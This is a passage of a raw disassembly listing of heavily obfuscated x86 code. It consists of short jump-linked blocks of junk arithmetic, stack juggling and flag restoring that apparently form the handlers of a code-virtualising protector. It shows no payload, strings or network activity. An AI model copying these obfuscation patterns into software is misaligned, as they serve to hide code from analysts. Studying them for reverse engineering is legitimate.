loc_5872C3:				; CODE XREF: ud2_____:0058D082j
		mov	cx, [esp]
		jmp	loc_5808BF
; ---------------------------------------------------------------------------


loc_5872CC:				; CODE XREF: ud2_____:005867C1j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_589061
; ---------------------------------------------------------------------------


loc_5872DE:				; CODE XREF: ud2_____:0058C7F5j
		pop	ecx
		xor	[edi+24h], esi
		jmp	loc_57F79F
; ---------------------------------------------------------------------------


loc_5872E7:				; CODE XREF: ud2_____:0058F311j
		add	esi, 5667B96Bh
		sub	eax, esi
		pop	esi
		jmp	loc_588504
; ---------------------------------------------------------------------------


loc_5872F5:				; CODE XREF: ud2_____:0057FF9Fj
		mov	ebx, [esp]
		add	esp, 4
		xor	bh, dh
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_583C03
; ---------------------------------------------------------------------------


loc_58730A:				; CODE XREF: ud2_____:0058640Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58B2AF
; ---------------------------------------------------------------------------
		push	small 6881h
		push	small 5884h
		push	sp
		jmp	loc_58BBE9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_587332:				; CODE XREF: ud2_____:00580698j
		add	bl, al
		jmp	loc_57E300
; ---------------------------------------------------------------------------


loc_587339:				; CODE XREF: ud2_____:0058364Fj
		pop	esp
		shl	esi, 8
		jmp	loc_58780B
; ---------------------------------------------------------------------------


loc_587342:				; CODE XREF: ud2_____:0059044Ej
		push	edi
		mov	edi, 0DAF7366h
		or	edi, 25533F1Ah
		sub	edi, 1
		inc	edi
		not	edi
		neg	edi
		jmp	loc_591FA5
; ---------------------------------------------------------------------------


loc_58735B:				; CODE XREF: ud2_____:00588A4Fj
		pop	esi
		jmp	loc_584CAD
; ---------------------------------------------------------------------------


loc_587361:				; CODE XREF: ud2_____:005857ABj
		add	esp, 4
		jmp	loc_58F2D2
; ---------------------------------------------------------------------------


loc_58736C:				; CODE XREF: ud2_____:005876B7j
		inc	bh
		neg	bh
		neg	bh
		sub	bh, 0B5h
		sub	cl, bh
		pop	ebx
		push	ebx
		jmp	loc_58826E
; ---------------------------------------------------------------------------


loc_58737E:				; CODE XREF: ud2_____:00590CBDj
		pop	edx
		add	esi, 57C02706h
		add	esi, edi
		sub	esi, 57C02706h
		jmp	loc_58E802
; ---------------------------------------------------------------------------


loc_587392:				; CODE XREF: ud2_____:0057E3C9j
		mov	[esp], edx
		mov	dl, 49h
		add	dl, 0F2h
		and	dl, 5Ah
		push	ecx
		push	ebx
		mov	bl, 0Ah
		and	bl, 57h
		jmp	loc_57EF73
; ---------------------------------------------------------------------------


loc_5873A9:				; CODE XREF: ud2_____:005812F8j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59068D
; ---------------------------------------------------------------------------


loc_5873B4:				; CODE XREF: ud2_____:0058DFF6j
		sub	bl, 35h
		jmp	loc_590104
; ---------------------------------------------------------------------------


loc_5873BC:				; CODE XREF: ud2_____:00592874j
		add	edx, 4
		jmp	loc_589DCF
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5873D0:				; CODE XREF: ud2_____:0058AF59j
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58EF44
; ---------------------------------------------------------------------------


loc_5873EC:				; CODE XREF: ud2_____:0058AD97j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_588DF7
; ---------------------------------------------------------------------------


loc_5873F7:				; CODE XREF: ud2_____:00586D8Ej
		pop	ecx
		add	bl, al
		pop	ax
		jmp	loc_5842F3
; ---------------------------------------------------------------------------


loc_587401:				; CODE XREF: ud2_____:0058E723j
		add	ebx, 153B4388h
		add	ebx, 24597F92h
		jmp	loc_587D89
; ---------------------------------------------------------------------------


loc_587412:				; CODE XREF: ud2_____:00591AAAj
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 9
		jmp	loc_580412
; ---------------------------------------------------------------------------


loc_587429:				; CODE XREF: ud2_____:0058B8CDj
		xor	ebp, esi
		xor	esi, ebp
		jmp	loc_5888C5
; ---------------------------------------------------------------------------


loc_587432:				; CODE XREF: ud2_____:0058C59Aj
		push	3CA0h
		mov	[esp], ebp
		mov	ebp, 2A825582h
		mov	ebx, 68DB6BE0h
		add	ebx, 0C1A6E9A6h
		jmp	loc_580E6E
; ---------------------------------------------------------------------------


loc_58744F:				; CODE XREF: ud2_____:0058D520j
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_58AA7E
; ---------------------------------------------------------------------------


loc_587464:				; CODE XREF: ud2_____:00585DFEj
		push	small 16AEh
		mov	[esp], dx
		jmp	loc_5834B2
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_587479:				; CODE XREF: ud2_____:00584515j
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 39C6539Eh
		add	edx, esi
		add	edx, 39C6539Eh
		push	edi
		mov	edi, 297B751Fh
		add	edi, 3C8F027Ah
		sub	edx, edi
		jmp	loc_5809B8
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58A5B8
; ---------------------------------------------------------------------------


loc_5874A9:				; CODE XREF: ud2_____:00592685j
		pop	esi
		jmp	loc_581F37
; ---------------------------------------------------------------------------


loc_5874AF:				; CODE XREF: ud2_____:00592DE1j
		inc	ebx
		push	esi
		mov	esi, 1A7C0D71h
		or	esi, 22C059E6h
		jmp	loc_58673C
; ---------------------------------------------------------------------------


loc_5874C1:				; CODE XREF: ud2_____:0058E7CFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58ABFD
; ---------------------------------------------------------------------------


loc_5874CD:				; CODE XREF: ud2_____:00581882j
		mov	bh, 0F5h
		inc	bh
		or	bh, 0Ch
		not	bh
		inc	bh
		dec	bh
		sub	bh, 0A8h
		add	dl, bh
		pop	ebx
		pop	ebx
		shr	dl, 4
		shl	dl, 6
		jmp	loc_57E29A
; ---------------------------------------------------------------------------


loc_5874EC:				; CODE XREF: ud2_____:0058C580j
		add	ebp, ebx
		add	ebp, 3F5E2EB4h
		add	ebp, 0A7E0E0Ah
		jmp	loc_5905EA
; ---------------------------------------------------------------------------


loc_5874FF:				; CODE XREF: ud2_____:0058E738j
		shl	eax, 2
		push	5326h
		mov	[esp], ebp
		mov	ebp, 512668F5h
		inc	ebp
		dec	ebp
		jmp	loc_590B6B
; ---------------------------------------------------------------------------


loc_587516:				; CODE XREF: ud2_____:0057FEEAj
		mov	[esp], ecx
		mov	ch, 0D4h
		jmp	loc_5866E4
; ---------------------------------------------------------------------------


loc_587520:				; CODE XREF: ud2_____:0058254Cj
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, ecx
		jmp	loc_5813FD
; ---------------------------------------------------------------------------


loc_587533:				; CODE XREF: ud2_____:0058AC8Aj
		sub	ebx, 61485E15h
		mov	edi, [esp]
		add	esp, 4
		push	54C3h
		mov	[esp], edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_5924EB
; ---------------------------------------------------------------------------


loc_58755A:				; CODE XREF: ud2_____:0058AA55j
		add	dh, ch
		pop	ecx
		add	al, 9Fh
		sub	al, dh
		push	ebx
		jmp	loc_5886DC
; ---------------------------------------------------------------------------


loc_587567:				; CODE XREF: ud2_____:00591E7Fj
		push	ecx
		mov	ecx, 89423C1h
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 3DD9716Ch
		jmp	loc_57E0B4
; ---------------------------------------------------------------------------


loc_587585:				; CODE XREF: ud2_____:0058383Bj
		push	dword ptr [esp]
		jmp	loc_57F296
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 267Fh
		mov	[esp], dx
		push	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58107B
; ---------------------------------------------------------------------------


loc_5875A7:				; CODE XREF: ud2_____:0058D989j
		add	ebp, 6F47250Bh
		pop	ecx
		mov	ecx, ebp
		pop	ebp
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_580837
; ---------------------------------------------------------------------------


loc_5875BC:				; CODE XREF: ud2_____:005836A7j
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		or	edi, 593043F0h
		add	edi, 102EF56Fh
		add	ebp, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_589A91
; ---------------------------------------------------------------------------


loc_5875D9:				; CODE XREF: ud2_____:0057EFBBj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_57EFF4
; ---------------------------------------------------------------------------


loc_5875E4:				; CODE XREF: ud2_____:0057FE45j
		sub	esi, 327DE198h
		xor	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_58C6C3
; ---------------------------------------------------------------------------


loc_58760D:				; CODE XREF: ud2_____:0058EFFFj
		mov	ebp, 19133FDBh
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 7CBD02CDh
		mov	ebp, 58AD5748h
		xor	ebp, edx
		pop	edx
		or	ebp, 6AB3E41h
		shr	ebp, 3
		sub	ebp, 4D76FF4h
		add	ecx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4D4B71CAh
		xor	ecx, 4D4B71CEh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_586130
; ---------------------------------------------------------------------------


loc_58765C:				; CODE XREF: ud2_____:00592AC2j
		sub	eax, 66716E9Bh
		jmp	loc_580F04
; ---------------------------------------------------------------------------


loc_587666:				; CODE XREF: ud2_____:0057EB74j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_587838
; ---------------------------------------------------------------------------


loc_587672:				; CODE XREF: ud2_____:00580F74j
		add	esp, 4
		push	edx
		jmp	loc_58F999
; ---------------------------------------------------------------------------


loc_58767E:				; CODE XREF: ud2_____:0058D622j
		mov	esp, [esp]
		push	ebp
		push	4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_586080
; ---------------------------------------------------------------------------


loc_587696:				; CODE XREF: ud2_____:0057F7B0j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_57FF2E
; ---------------------------------------------------------------------------


loc_5876B3:				; CODE XREF: ud2_____:00589E14j
		pop	ebx
		push	ebx
		mov	bh, 0B3h
		jmp	loc_58736C
; ---------------------------------------------------------------------------


loc_5876BC:				; CODE XREF: ud2_____:0058FA42j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 332407BFh
		jmp	loc_588F1A
; ---------------------------------------------------------------------------


loc_5876D0:				; CODE XREF: ud2_____:00581C93j
		add	ecx, edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57FD0E
; ---------------------------------------------------------------------------


loc_5876E9:				; CODE XREF: ud2_____:005920E8j
		push	ebx
		mov	bh, 0
		or	bh, 5Eh
		jmp	loc_586710
; ---------------------------------------------------------------------------


loc_5876F4:				; CODE XREF: ud2_____:00592886j
		push	ebp
		jmp	loc_589E26
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58B784
; ---------------------------------------------------------------------------


loc_587705:				; CODE XREF: ud2_____:0059000Cj
		or	eax, 17D5190h
		jmp	loc_5822FA
; ---------------------------------------------------------------------------


loc_58770F:				; CODE XREF: ud2_____:00580C72j
		pop	edx
		add	edx, 0FDD5FF52h
		add	eax, edx
		pop	edx
		jmp	loc_580642
; ---------------------------------------------------------------------------


loc_58771E:				; CODE XREF: ud2_____:00588DEAj
		sub	edi, 2E4443A6h
		sub	edi, 35991A58h
		not	edi
		xor	edi, 708A4F32h
		add	ebp, edi
		jmp	loc_58D751
; ---------------------------------------------------------------------------


loc_587739:				; CODE XREF: ud2_____:0058488Bj
		add	al, 0ABh
		pop	ecx
		push	ecx
		mov	cl, 53h
		jmp	loc_58DFF1
; ---------------------------------------------------------------------------


loc_587744:				; CODE XREF: ud2_____:00587E86j
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	eax
		push	edi
		mov	edi, 67357B1Fh
		and	edi, 745959AEh
		sub	edi, 0E5A6F4DDh
		mov	eax, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_57E858
; ---------------------------------------------------------------------------


loc_58776F:				; CODE XREF: ud2_____:0059013Fj
		not	ecx
		sub	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ecx, 42812744h
		sub	ecx, eax
		jmp	loc_587A10
; ---------------------------------------------------------------------------


loc_58778A:				; CODE XREF: ud2_____:0059033Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_5835BA
; ---------------------------------------------------------------------------


loc_5877B5:				; CODE XREF: ud2_____:0058EC7Ej
		mov	edi, 3543680Dh
		add	edi, 50FA5AADh
		and	edi, 5C41066h
		sub	edi, 95EAD809h
		mov	ebx, edi
		pop	edi
		jmp	loc_58FCA4
; ---------------------------------------------------------------------------


loc_5877D4:				; CODE XREF: ud2_____:00589F70j
		mov	eax, [esp]
		push	edi
		jmp	loc_5841FD
; ---------------------------------------------------------------------------


loc_5877DD:				; CODE XREF: ud2_____:00589163j
		mov	[esp], ebp
		jmp	loc_58BC7E
; ---------------------------------------------------------------------------


loc_5877E5:				; CODE XREF: ud2_____:0058C119j
		add	al, 92h
		sub	al, dh
		sub	al, 92h
		sub	al, 3Eh
		mov	dx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_591C3B
; ---------------------------------------------------------------------------


loc_5877F9:				; CODE XREF: ud2_____:00580401j
		sub	eax, ebp
		jmp	loc_585BF1
; ---------------------------------------------------------------------------


loc_587800:				; CODE XREF: ud2_____:005847A4j
		xor	edx, 0FF9FDD3Ah
		jmp	loc_5822EE
; ---------------------------------------------------------------------------


loc_58780B:				; CODE XREF: ud2_____:0058733Dj
		xchg	edx, esi
		dec	edx
		jmp	loc_58474B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5825E1
; ---------------------------------------------------------------------------


loc_58781C:				; CODE XREF: ud2_____:0058D56Fj
		not	esi
		sub	esi, 6A4B66C9h
		sub	esi, 11C52CACh
		and	edx, esi
		pop	esi
		push	esi
		mov	esi, 99252ECh
		jmp	loc_584CF7
; ---------------------------------------------------------------------------


loc_587838:				; CODE XREF: ud2_____:0058766Dj
		add	esp, 4
		jmp	loc_58A05F
; ---------------------------------------------------------------------------


loc_587843:				; CODE XREF: ud2_____:0058CE83j
		sub	edi, 61C83E20h
		pop	eax
		add	ebp, edi
		jmp	loc_590C36
; ---------------------------------------------------------------------------


loc_587851:				; CODE XREF: ud2_____:005906F1j
		mov	ecx, ebp
		pop	ebp
		add	ecx, 787E151Bh
		jmp	loc_5927A1
; ---------------------------------------------------------------------------


loc_58785F:				; CODE XREF: ud2_____:005840DDj
		pop	eax
		add	[esp+4], edi
		jmp	loc_5804FD
; ---------------------------------------------------------------------------


loc_587869:				; CODE XREF: ud2_____:005907C0j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57EE3C
; ---------------------------------------------------------------------------


loc_587886:				; CODE XREF: ud2_____:0057FFAEj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_592E00
; ---------------------------------------------------------------------------


loc_587899:				; CODE XREF: ud2_____:0057F86Fj
		xchg	eax, esi
		inc	esi
		jmp	loc_58B82B
; ---------------------------------------------------------------------------


loc_5878A0:				; CODE XREF: ud2_____:00588470j
		add	ecx, esi
		push	edi
		mov	edi, 11D6B66h
		push	eax
		jmp	loc_583EF4
; ---------------------------------------------------------------------------


loc_5878AE:				; CODE XREF: ud2_____:00589647j
		mov	edi, 7C6202E7h
		jmp	loc_591240
; ---------------------------------------------------------------------------


loc_5878B8:				; CODE XREF: ud2_____:00586185j
		mov	[esp], ebp
		mov	ebp, 6AF1510Ch
		push	ecx
		mov	ecx, 25633C0Bh
		jmp	loc_58CDEA
; ---------------------------------------------------------------------------


loc_5878CB:				; CODE XREF: ud2_____:0058EB9Fj
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 2
		jmp	loc_58A14C
; ---------------------------------------------------------------------------


loc_5878DB:				; CODE XREF: ud2_____:00585692j
		pop	esi
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5830B4
; ---------------------------------------------------------------------------


loc_5878F0:				; CODE XREF: ud2_____:005839CBj
		inc	eax
		jmp	loc_58EACF
; ---------------------------------------------------------------------------


loc_5878F6:				; CODE XREF: ud2_____:005868C6j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_588724
; ---------------------------------------------------------------------------


loc_587903:				; CODE XREF: ud2_____:0058D373j
		push	edi
		jmp	loc_586F29
; ---------------------------------------------------------------------------


loc_587909:				; CODE XREF: ud2_____:00581506j
		push	ebx
		mov	ebx, 302605C2h
		mov	edi, 302605C6h
		xor	edi, ebx
		pop	ebx
		jmp	loc_58C856
; ---------------------------------------------------------------------------


loc_58791C:				; CODE XREF: ud2_____:00589A9Dj
		sub	bh, 0CCh
		jmp	loc_583DE5
; ---------------------------------------------------------------------------


loc_587924:				; CODE XREF: ud2_____:0058B7EFj
		push	edx
		mov	edx, edi
		jmp	loc_586FEC
; ---------------------------------------------------------------------------


loc_58792C:				; CODE XREF: ud2_____:0058F233j
		mov	edx, 7AA84143h
		jmp	loc_58D569
; ---------------------------------------------------------------------------


loc_587936:				; CODE XREF: ud2_____:00581DCAj
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57E0EF
; ---------------------------------------------------------------------------


loc_587945:				; CODE XREF: ud2_____:005843EDj
		shr	ecx, 3
		sub	ecx, 0D9FFA3D9h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, ebx
		pop	ebx
		inc	edi
		jmp	loc_582FDE
; ---------------------------------------------------------------------------


loc_587962:				; CODE XREF: ud2_____:00589547j
		mov	ebx, 4
		jmp	loc_58FA70
; ---------------------------------------------------------------------------


loc_58796C:				; CODE XREF: ud2_____:0058AAEEj
		pop	eax
		jmp	loc_58D563
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_587982:				; CODE XREF: ud2_____:0058CB38j
		xor	eax, 0D116DD0Eh
		sub	esi, eax
		pop	eax
		add	ebx, esi
		pop	esi
		add	ebx, edi
		sub	ebx, 1EA32E8Ah
		pop	edi
		push	dword ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58799D:				; CODE XREF: ud2_____:0058C8E5j
		sub	edx, ebp
		sub	edx, 6A9B0048h
		pop	ebp
		jmp	loc_580A9D
; ---------------------------------------------------------------------------


loc_5879AB:				; CODE XREF: ud2_____:0058910Dj
		add	edx, eax
		jmp	loc_58B3D3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_581AE6
; ---------------------------------------------------------------------------


loc_5879BD:				; CODE XREF: ud2_____:0058D415j
		add	ecx, 5483D03Ch
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_583E78
; ---------------------------------------------------------------------------


loc_5879D3:				; CODE XREF: ud2_____:00584B7Bj
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58F8CE
; ---------------------------------------------------------------------------


loc_5879DE:				; CODE XREF: ud2_____:0057F5BBj
		and	eax, 5D385C01h
		neg	eax
		add	eax, 113D0F19h
		sub	eax, 9FF7734Fh
		jmp	loc_589E03
; ---------------------------------------------------------------------------


loc_5879F4:				; CODE XREF: ud2_____:005806B2j
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5844EE
; ---------------------------------------------------------------------------


loc_587A10:				; CODE XREF: ud2_____:00587785j
		sub	ecx, 42812744h
		pop	eax
		or	ecx, 3B980B5Ah
		or	ecx, 32E601F6h
		jmp	loc_58B653
; ---------------------------------------------------------------------------


loc_587A28:				; CODE XREF: ud2_____:00582FE4j
		pop	edi
		jmp	loc_58E854
; ---------------------------------------------------------------------------


loc_587A2E:				; CODE XREF: ud2_____:00588CD9j
		mov	[esp], ebp
		mov	ebp, 7CC527E2h
		xor	ebx, ebp
		pop	ebp
		add	ebx, 0DD6180Ch
		add	eax, ebx
		pop	ebx
		push	3AEFh
		mov	[esp], esi
		mov	esi, 75CC14EBh
		jmp	loc_58F77C
; ---------------------------------------------------------------------------


loc_587A54:				; CODE XREF: ud2_____:00591F63j
		mov	eax, [esp]
		jmp	loc_586252
; ---------------------------------------------------------------------------


loc_587A5C:				; CODE XREF: ud2_____:0058811Fj
		sub	ecx, 3DD10BF8h
		not	ecx
		sub	ecx, 0D949D648h
		or	edi, ecx
		pop	ecx
		shl	edi, 8
		neg	edi
		push	esi
		mov	esi, 770019F4h
		shr	esi, 1
		xor	esi, 723A521Eh
		xor	edi, esi
		jmp	loc_58D475
; ---------------------------------------------------------------------------


loc_587A87:				; CODE XREF: ud2_____:0058DC9Aj
		add	eax, 2D965427h
		shl	eax, 7
		sub	eax, 51B10F8Dh
		jmp	loc_58D5E1
; ---------------------------------------------------------------------------


loc_587A99:				; CODE XREF: ud2_____:0058DF41j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_580ABB
; ---------------------------------------------------------------------------


loc_587AA9:				; CODE XREF: ud2_____:005831CEj
		xchg	ecx, [esp]
		jmp	loc_58BD55
; ---------------------------------------------------------------------------


loc_587AB1:				; CODE XREF: ud2_____:0058D885j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5805A8
; ---------------------------------------------------------------------------


loc_587ABF:				; CODE XREF: ud2_____:0058857Dj
		not	ebx
		add	ebx, 8425BEF8h
		sub	edx, ebx
		jmp	loc_59086E
; ---------------------------------------------------------------------------


loc_587ACE:				; CODE XREF: ud2_____:00583FC7j
		pop	esp
		push	2181h
		mov	[esp], ebp
		mov	ebp, esp
		push	6104h
		jmp	loc_590A06
; ---------------------------------------------------------------------------


loc_587AE3:				; CODE XREF: ud2_____:005861D1j
		push	6B12h
		mov	[esp], ebp
		mov	ebp, 0FAE4A58h
		mov	edx, ebp
		pop	ebp
		jmp	loc_581E7A
; ---------------------------------------------------------------------------


loc_587AF8:				; CODE XREF: ud2_____:00592265j
		add	esi, 4
		add	esi, 4
		jmp	loc_581372
; ---------------------------------------------------------------------------


loc_587B06:				; CODE XREF: ud2_____:0058EA2Ej
		pop	ecx
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_583DDF
; ---------------------------------------------------------------------------


loc_587B16:				; CODE XREF: ud2_____:0058F6BBj
		pop	esi
		jmp	loc_5807AB
; ---------------------------------------------------------------------------


loc_587B1C:				; CODE XREF: ud2_____:005831C5j
		add	esp, 4
		jmp	loc_58B7B0
; ---------------------------------------------------------------------------


loc_587B24:				; CODE XREF: ud2_____:00591454j
		mov	edx, 336B7C4Dh
		jmp	loc_591048
; ---------------------------------------------------------------------------


loc_587B2E:				; CODE XREF: ud2_____:0058DB16j
		add	bl, ah
		pop	eax
		jmp	loc_5851B0
; ---------------------------------------------------------------------------


loc_587B36:				; CODE XREF: ud2_____:0058B496j
		push	eax
		mov	eax, 2B705209h
		shr	eax, 8
		add	eax, 0BA713B8Eh
		xor	edi, eax
		pop	eax
		jmp	loc_5836FC
; ---------------------------------------------------------------------------


loc_587B4C:				; CODE XREF: ud2_____:00588C9Aj
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	53FEh
		jmp	loc_588347
; ---------------------------------------------------------------------------


loc_587B61:				; CODE XREF: ud2_____:0058BD33j
		mov	esi, 0E7A6254h
		add	ebx, esi
		jmp	loc_58A851
; ---------------------------------------------------------------------------


loc_587B6D:				; CODE XREF: ud2_____:00586352j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	334Ch
		mov	[esp], ecx
		jmp	loc_58E16F
; ---------------------------------------------------------------------------


loc_587B84:				; CODE XREF: ud2_____:00592BBCj
		push	10516101h
		pop	esi
		jmp	loc_584718
; ---------------------------------------------------------------------------


loc_587B8F:				; CODE XREF: ud2_____:00583017j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_585AA2
; ---------------------------------------------------------------------------


loc_587B9F:				; CODE XREF: ud2_____:0058E2CAj
		and	ebx, 3C345F5Ah
		add	ebx, 7A293FB8h
		jmp	loc_5808FD
; ---------------------------------------------------------------------------


loc_587BB0:				; CODE XREF: ud2_____:00583EF9j
		or	eax, 2E122A23h
		jmp	loc_5896AB
; ---------------------------------------------------------------------------


loc_587BBA:				; CODE XREF: ud2_____:00585BD2j
		or	ebp, esi
		jmp	loc_5861F5
; ---------------------------------------------------------------------------


loc_587BC1:				; CODE XREF: ud2_____:00580557j
		push	edi
		push	edx
		jmp	loc_58D492
; ---------------------------------------------------------------------------


loc_587BC8:				; CODE XREF: ud2_____:00581700j
		push	eax
		jmp	loc_591E6D
; ---------------------------------------------------------------------------


loc_587BCE:				; CODE XREF: ud2_____:0057E9BEj
		sub	ecx, 0A18FE9A6h
		add	edi, ecx
		pop	ecx
		add	edi, 22801FF7h
		sub	edi, 54DE0CF6h
		jmp	loc_5832F5
; ---------------------------------------------------------------------------


loc_587BE8:				; CODE XREF: ud2_____:0058E68Bj
		push	ebp
		push	edx
		jmp	loc_58C054
; ---------------------------------------------------------------------------


loc_587BEF:				; CODE XREF: ud2_____:0058DB93j
		push	dword ptr [esp]
		jmp	loc_589A0A
; ---------------------------------------------------------------------------


loc_587BF7:				; CODE XREF: ud2_____:0057E7E0j
		add	edx, 742C4C3Ch
		add	edx, 53125799h
		xor	edx, 1FD0B643h
		sub	ebx, 6D316A4Ch
		sub	ebx, edx
		jmp	loc_5929D1
; ---------------------------------------------------------------------------


loc_587C16:				; CODE XREF: ud2_____:005800DFj
		not	ebx
		sub	esp, 4
		jmp	loc_58FA12
; ---------------------------------------------------------------------------


loc_587C20:				; CODE XREF: ud2_____:0058B319j
		pop	edi
		xor	edi, 699A5067h
		push	763Fh
		mov	[esp], ebp
		jmp	loc_57E6D0
; ---------------------------------------------------------------------------


loc_587C34:				; CODE XREF: ud2_____:00590D88j
		add	edx, edi
		sub	edx, 7FA30963h
		pop	edi
		jmp	loc_5910B2
; ---------------------------------------------------------------------------


loc_587C42:				; CODE XREF: ud2_____:005842B5j
		push	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_583672
; ---------------------------------------------------------------------------


loc_587C54:				; CODE XREF: ud2_____:00584061j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	ebx, 63372027h
		sub	ebx, eax
		push	edi
		jmp	loc_585F5D
; ---------------------------------------------------------------------------


loc_587C6E:				; CODE XREF: ud2_____:005817DEj
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_58F9F9
; ---------------------------------------------------------------------------


loc_587C78:				; CODE XREF: ud2_____:005911E7j
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_589491
; ---------------------------------------------------------------------------


loc_587C90:				; CODE XREF: ud2_____:00582467j
		mov	ebp, [esp]
		jmp	loc_5923C9
; ---------------------------------------------------------------------------


loc_587C98:				; CODE XREF: ud2_____:0058167Bj
		neg	ebp
		xor	ebp, 23BE12FDh
		xor	ebp, 15E64076h
		push	esi
		mov	esi, 40CE7537h
		add	ebp, esi
		pop	esi
		sub	ebp, 531A074Bh
		mov	ebx, ebp
		pop	ebp
		add	ebx, 0F9EEC132h
		jmp	loc_592314
; ---------------------------------------------------------------------------


loc_587CC3:				; CODE XREF: ud2_____:0058F65Aj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_57FB77
; ---------------------------------------------------------------------------


loc_587CD9:				; CODE XREF: ud2_____:00580A57j
		add	ecx, esi
		jmp	loc_58B4B3
; ---------------------------------------------------------------------------


loc_587CE0:				; CODE XREF: ud2_____:0057E542j
		mov	esi, esp
		jmp	loc_5900CC
